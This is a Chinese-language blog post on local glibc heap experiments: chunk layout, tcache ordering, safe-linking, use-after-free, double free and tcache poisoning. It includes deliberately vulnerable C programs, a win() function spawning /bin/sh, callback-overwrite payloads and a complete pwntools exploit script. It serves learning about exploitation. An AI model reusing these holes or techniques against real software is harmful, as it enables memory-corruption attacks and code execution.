这篇博客记录我在本地学习堆管理时做过的实验:先观察 malloc 返回的地址和 chunk 布局,再看 free 后的 tcache 元数据,随后分别练习 UAF、double free 和 tcache poisoning。
文中的地址都是我实际运行时得到的。堆地址可能随每次运行变化,因此分析时要用当前运行打印出的地址,不能把某次运行的堆地址当成固定值。
观察 malloc 分配出的 chunk
先用下面的程序申请两块堆内存,向其中写入内容,打印地址并释放
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| #include <stdio.h> #include <stdlib.h> #include <string.h>
int main(void) { char *a = malloc(0x20); char *b = malloc(0x20);
if (a == NULL || b == NULL) return 1;
strcpy(a, "AAAA"); strcpy(b, "BBBB");
printf("a = %p\n", (void *)a); printf("b = %p\n", (void *)b);
free(a); free(b);
return 0; }
|
一次运行中,我看到
1 2
| a = 0x5f6201e7f2a0 b = 0x5f6201e7f2d0
|
两次返回地址相差 0x30。这里 malloc(0x20) 返回的是用户区地址,不是 chunk 头部的起始地址。
在 GDB 中检查
1 2 3
| p/x a p/x b x/8gx (void *)a-0x10
|
我看到的 a 附近内容是
1 2
| 0x555555559290: 0x0000000000000000 0x0000000000000031 0x5555555592a0: 0x0000000000000000 0x0000000000000000
|
在这一轮中
1 2
| chunk 头部地址:0x555555559290 用户区地址 a: 0x5555555592a0
|
chunk 头部常见的两个 qword 是 prev_size 和 size。我这里看到的 size 是 0x31:去掉低位标志后,chunk 大小是 0x30。低位的 1 是标志位,不属于大小本身。
prev_size 的值为零是这次观察到的状态,不应该把它当作所有 chunk 的固定值。
free 之后,内存为什么没清零?
free(ptr) 的作用是把 ptr 指向的堆块交还给内存分配器管理。它不会自动清空程序中的指针变量,也不保证把块里的旧数据全部擦掉。
1 2
| char *p = malloc(0x20); free(p);
|
执行 free(p) 后,变量 p 仍保存着旧地址,但该对象的生命周期已经结束。此时不能再通过 p 读写对象。
释放后的用户区可能被分配器用来保存空闲链表信息。因此,我在 GDB 中看到的变化不是“free 把数据清零”,而是分配器开始用这块内存管理空闲 chunk。
可以记成
1 2 3
| free(p) 不等于清空内存 free(p) 不等于 p = NULL free(p) 是把堆块交还给分配器管理
|
tcache 的释放顺序和重新分配顺序
为了观察同尺寸 chunk 如何进入和离开 tcache,我运行了这个程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| #include <stdio.h> #include <stdlib.h>
int main(void) { setvbuf(stdout, NULL, _IONBF, 0);
char *a = malloc(0x20); char *b = malloc(0x20);
printf("a = %p\n", (void *)a); printf("b = %p\n", (void *)b);
free(a); free(b);
char *c = malloc(0x20); char *d = malloc(0x20);
printf("c = %p\n", (void *)c); printf("d = %p\n", (void *)d);
return 0; }
|
一次运行的结果是
1 2 3 4
| a = 0x5dd340c302a0 b = 0x5dd340c302d0 c = 0x5dd340c302d0 d = 0x5dd340c302a0
|
也就是
同一个大小类别的 tcache 可以简化为一条单向链表。假设开始时链表为空:
执行 free(a) 后,a 被插入链表:
执行 free(b) 后,b 被插到链表头:
所以后面的 malloc 先取出 b,再取出 a:
1 2
| malloc 得到 c:c == b malloc 得到 d:d == a
|
这就是本次实验观察到的“后释放的先被重新分配”。
释放后的 next 和 tcache key
在一次 GDB 调试中,我停在第二次 free(p) 之前。此时第一次释放已经完成:
1 2 3
| p/x p x/4gx p-0x10 x/4gx p
|
看到
1 2 3 4 5
| $1 = 0x5555555592a0
0x555555559290: 0x0000000000000000 0x0000000000000031 0x5555555592a0: 0x0000000555555559 0x84f7a0cdc86e0399 0x5555555592b0: 0x0000000000000000 0x0000000000000000
|
第一次 free 后,用户区开头被 tcache 的管理信息占用:
- 第一个 qword 是经过 safe-linking 编码的链表
next。
- 第二个 qword 是用于辅助检测重复释放的
tcache_key,它不是 tcache 桶编号。
这次该大小类别原本没有其他空闲 chunk,所以 p 的逻辑 next 是 NULL。但由于 safe-linking,内存里看到的不是零。
这次地址为
safe-linking 的计算形式是:
1
| encoded_next = (存放 next 的位置地址 >> 12) XOR next 的真实值
|
因为逻辑 next 是 NULL,数值为零:
1 2 3 4 5
| 0x5555555592a0 >> 12 = 0x555555559
encoded_next = 0x555555559 XOR 0 = 0x555555559
|
这就对应了 GDB 中的:
这里的右移 12 位是 safe-linking 编码的一部分,不是说每次 free 都会把地址右移 12 位。
当同类别里已有 a,之后又释放 b 时,逻辑链表是:
这时 b 的逻辑 next 指向 a。在之前的一轮观察中,释放后 b 用户区开头显示为:
1
| 0x5555555592d0: 0x000055500000c7f9 0xfd7279d62f125639
|
第一项是编码后的链表指针,第二项是 tcache key。
UAF:释放后仍通过旧指针访问
我练习的对象结构是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109
| #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h>
#define DATA_SIZE 24
typedef struct { char data[DATA_SIZE]; void (*callback)(void); } Item;
static Item *item;
static void show_item(void) { puts("Normal callback."); }
static void win(void) { puts("You reached win()!"); system("/bin/sh"); }
static int read_exact(void *buf, size_t size) { size_t done = 0;
while (done < size) { ssize_t n = read(STDIN_FILENO, (char *)buf + done, size - done); if (n <= 0) return -1; done += (size_t)n; }
return 0; }
int main(void) { char line[32];
setvbuf(stdout, NULL, _IONBF, 0);
while (1) { puts("\n1. create"); puts("2. delete"); puts("3. edit"); puts("4. use"); puts("5. quit"); printf("> ");
if (!fgets(line, sizeof(line), stdin)) break;
int choice = atoi(line);
if (choice == 1) { item = malloc(sizeof(*item)); if (!item) { puts("malloc failed"); exit(1); }
printf("data (24 bytes): "); if (read_exact(item->data, DATA_SIZE) < 0) break;
item->callback = show_item; puts("created");
} else if (choice == 2) { if (!item) { puts("no item"); continue; }
free(item); puts("deleted");
/* 故意没有 item = NULL */
} else if (choice == 3) { if (!item) { puts("no item"); continue; }
printf("new item data (32 bytes): "); if (read_exact(item, sizeof(*item)) < 0) break;
puts("edited");
} else if (choice == 4) { if (!item) { puts("no item"); continue; }
item->callback();
} else if (choice == 5) { break;
} else { puts("invalid choice"); } }
return 0; }
|
在当前 64 位环境中,GDB 确认了:
1 2
| sizeof(Item) = 0x20 callback 偏移 = 0x18
|
结构体布局是:
1 2 3
| 偏移 0x00:data,24 字节 偏移 0x18:callback,8 字节 总大小: 0x20
|
漏洞来自 delete 只调用了:
却没有把 item 清空。之后 edit 仍通过这个旧指针写入 32 字节,use 仍通过旧指针调用 callback。这就是 UAF:释放后继续使用对象。
我使用的 payload 是:
1
| payload = b"B" * 24 + p64(win)
|
前 24 字节填满 data,后 8 字节覆盖 callback。通过菜单依次执行 create → delete → edit → use,程序最后调用被覆盖的回调函数,进入 win()。
我还观察过释放块被重新分配后的地址复用:
1 2 3 4 5 6
| a = 0x5c88a62e72a0 b = 0x5c88a62e72d0 c = 0x5c88a62e72d0 d = 0x5c88a62e72a0 修改前:c = CCCC 修改后:c = XCCC
|
这说明,旧指针和新分配得到的指针可能指向同一地址。旧指针写入的内容会影响新对象所在的内存。实际 C 程序中,释放后再访问对象属于未定义行为;这里是在受控练习中观察这种漏洞效果。
double free:同一个指针被释放两次
为了观察当前 glibc 如何处理重复释放,我运行了下面的程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| #include <stdio.h> #include <stdlib.h>
int main(void) { setvbuf(stdout, NULL, _IONBF, 0);
char *p = malloc(0x20); if (p == NULL) return 1;
printf("p = %p\n", (void *)p);
free(p); puts("first free done");
free(p); puts("second free done");
return 0; }
|
实际运行输出
1 2 3 4
| p = 0x64d365a442a0 first free done free(): double free detected in tcache 2 Aborted (core dumped)
|
GDB 回溯显示:
1 2 3 4
| #6 malloc_printerr("free(): double free detected in tcache 2") #7 _int_free(...) #8 __GI___libc_free(...) #9 main() at heap.c:16
|
第二次 free(p) 在 heap.c:16 触发了分配器的检测,程序随后通过 abort() 终止。
错误文本里的 tcache 2 不是第二个 tcache 桶的编号。它是 glibc 输出的错误信息。
区别是:
1 2
| UAF:释放后继续访问对象 double free:对同一块已释放内存再次 free
|
tcache poisoning:让 malloc 返回 target
前面的 tcache 链表实验说明:chunk 的 next 决定链表中的下一个节点。tcache poisoning 则是在存在写入漏洞的情况下,改写已释放 chunk 的 next,影响后续 malloc 的返回地址。
下面是直接观察这一现象的本地程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| #include <inttypes.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h>
static unsigned char target[0x20] __attribute__((aligned(16)));
int main(void) { setvbuf(stdout, NULL, _IONBF, 0);
char *a = malloc(0x20); char *b = malloc(0x20); if (a == NULL || b == NULL) return 1;
printf("a = %p\n", (void *)a); printf("b = %p\n", (void *)b); printf("target = %p\n", (void *)target);
free(a); free(b);
/* * 教学用 UAF:b 已释放,程序仍通过旧指针改写 next。 */ printf("encoded next (hex): "); char line[64]; ssize_t n = read(STDIN_FILENO, line, sizeof(line) - 1); if (n <= 0) return 1; line[n] = '\0';
uintptr_t encoded = (uintptr_t)strtoull(line, NULL, 16); *(uintptr_t *)b = encoded;
char *c = malloc(0x20); char *d = malloc(0x20);
printf("c = %p\n", (void *)c); printf("d = %p\n", (void *)d); printf("target = %p\n", (void *)target);
return 0; }
|
一次运行打印:
1 2 3
| a = 0x1822e2a0 b = 0x1822e2d0 target = 0x404070
|
释放 a、b 后,逻辑链表是:
为了让 b 的逻辑 next 指向 target,需要计算 safe-linking 编码:
1 2 3 4 5 6 7
| encoded_next = target XOR (b >> 12)
b >> 12 = 0x1822e2d0 >> 12 = 0x1822e
encoded_next = 0x404070 XOR 0x1822e = 0x4239b2
|
程序的输入会把十六进制文本转换成整数,再写到已释放的 b 的第一个 qword:
1 2
| uintptr_t encoded = (uintptr_t)strtoull(line, NULL, 16); *(uintptr_t *)b = encoded;
|
输入 4239b2 后,实际输出为:
1 2 3
| c = 0x1822e2d0 d = 0x404070 target = 0x404070
|
所以:
第一次 malloc 取出 b;分配器解码 b->next 后,将链表头更新为 target;第二次 malloc 于是返回 target。
这次实验里,target 是专门准备的、16 字节对齐的全局可写区域。真实目标必须满足当前分配器的对齐和内存访问要求,不能把任意地址都假设为有效的 tcache 节点。
把 tcache poisoning 连接到函数指针
上一节只验证了 malloc 可以返回 target。接下来,我运行了 poison_cb,让 target 成为一个带有函数指针的结构体对象:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h>
struct Target { uintptr_t next; uintptr_t key; void (*callback)(void); char padding[8]; };
static struct Target target __attribute__((aligned(16)));
static void show(void) { puts("normal callback"); }
static void win(void) { puts("You reached win()!"); }
static int read_exact(void *buf, size_t size) { size_t done = 0;
while (done < size) { ssize_t n = read(STDIN_FILENO, (char *)buf + done, size - done); if (n <= 0) return -1; done += (size_t)n; }
return 0; }
int main(void) { setvbuf(stdout, NULL, _IONBF, 0); target.callback = show;
char *a = malloc(0x20); char *b = malloc(0x20); if (a == NULL || b == NULL) return 1;
printf("a = %p\n", (void *)a); printf("b = %p\n", (void *)b); printf("target = %p\n", (void *)&target); printf("win = %p\n", (void *)win);
free(a); free(b);
puts("Send the encoded next pointer (8 bytes):"); uintptr_t encoded; if (read_exact(&encoded, sizeof(encoded)) < 0) return 1;
/* 教学用 UAF:b 已释放,仍通过旧指针改写 next */ *(uintptr_t *)b = encoded;
char *c = malloc(0x20); char *d = malloc(0x20);
printf("c = %p\n", (void *)c); printf("d = %p\n", (void *)d);
puts("Send 32 bytes for the returned allocation:"); if (read_exact(d, 0x20) < 0) return 1;
target.callback(); return 0; }
|
target 不是函数,而是全局结构体变量;callback 是它内部的函数指针。结构体布局如下:
1 2 3 4
| 偏移 0:next,8 字节 偏移 8:key,8 字节 偏移 16:callback,8 字节 偏移 24:padding,8 字节
|
程序先把回调初始化为:
所以不覆盖时,执行 target.callback() 会输出:
利用成功后,d 指向 target。程序执行:
等价于向 target 的起始地址写 32 字节。payload 为:
1
| payload = b"A" * 16 + p64(win) + b"B" * 8
|
其中 p64(win) 位于偏移 16,覆盖 callback 字段。随后源码里的:
会间接调用 win()。
另一次运行时,我得到:
1 2 3 4
| b = 0x296852d0 target = 0x404070 win = 0x40120b encoded = 0x42d6f5
|
堆地址变了,所以编码值也变了:
1 2
| b >> 12 = 0x29685 0x404070 XOR 0x29685 = 0x42d6f5
|
脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from pwn import * p = process("./poison_cb") p.recvuntil(b"a = ") a = int(p.recvline().strip(), 16) p.recvuntil(b"b = ") b = int(p.recvline().strip(), 16) p.recvuntil(b"target = ") target = int(p.recvline().strip(), 16) p.recvuntil(b"win = ") win = int(p.recvline().strip(), 16) p.recvuntil(b"Send the encoded next pointer (8 bytes):\n") encoded = target ^ (b >> 12) log.info(f"b = {hex(b)}") log.info(f"target = {hex(target)}") log.info(f"encoded = {hex(encoded)}") log.info(f"win = {hex(win)}") p.send(p64(encoded)) p.recvuntil(b"Send 32 bytes for the returned allocation:\n") payload = b"A" * 16 + p64(win) + b"B" * 8 p.send(payload) p.interactive()
|
运行结果是:
1 2 3
| You reached win()! [*] Process './poison_cb' stopped with exit code 0 [*] Got EOF while reading in interactive
|
win() 打印提示后返回,程序正常退出,所以 pwntools 收到 EOF。这不是利用失败。
整个过程可以概括为:
1 2 3 4 5 6 7 8 9 10 11
| UAF 写入已释放 b 的 next ↓ 第一次 malloc 返回 b ↓ 第二次 malloc 返回 target ↓ 通过返回指针覆盖 target.callback ↓ 程序调用 target.callback() ↓ 进入 win()
|
总结
这几组实验让我逐步理解了堆利用中的几个基础概念:
malloc 返回用户区指针;chunk 头部位于用户区之前。
free 将内存交还分配器管理,但不清除程序中的旧指针,也不保证清空数据。
- 同尺寸 chunk 可以进入 tcache;这次实验观察到后释放的 chunk 先被重新分配。
- 释放后的用户区可能存放
next 和 tcache_key 等分配器元数据。
- UAF 是释放后继续访问;double free 是重复释放同一块内存。
- safe-linking 会编码链表指针;编码值依赖当前运行中的地址。
- tcache poisoning 需要先有能写入已释放 chunk 的漏洞原语;它不会凭空修改链表。
- 让
malloc 返回目标地址只是中间步骤;还要有程序后续使用该地址,并到达相应的调用点。
这次练习全部基于本地教学程序。堆地址受 ASLR 影响,glibc 的分配和检测细节也会因版本而异,分析时应以目标程序和当前运行环境为准。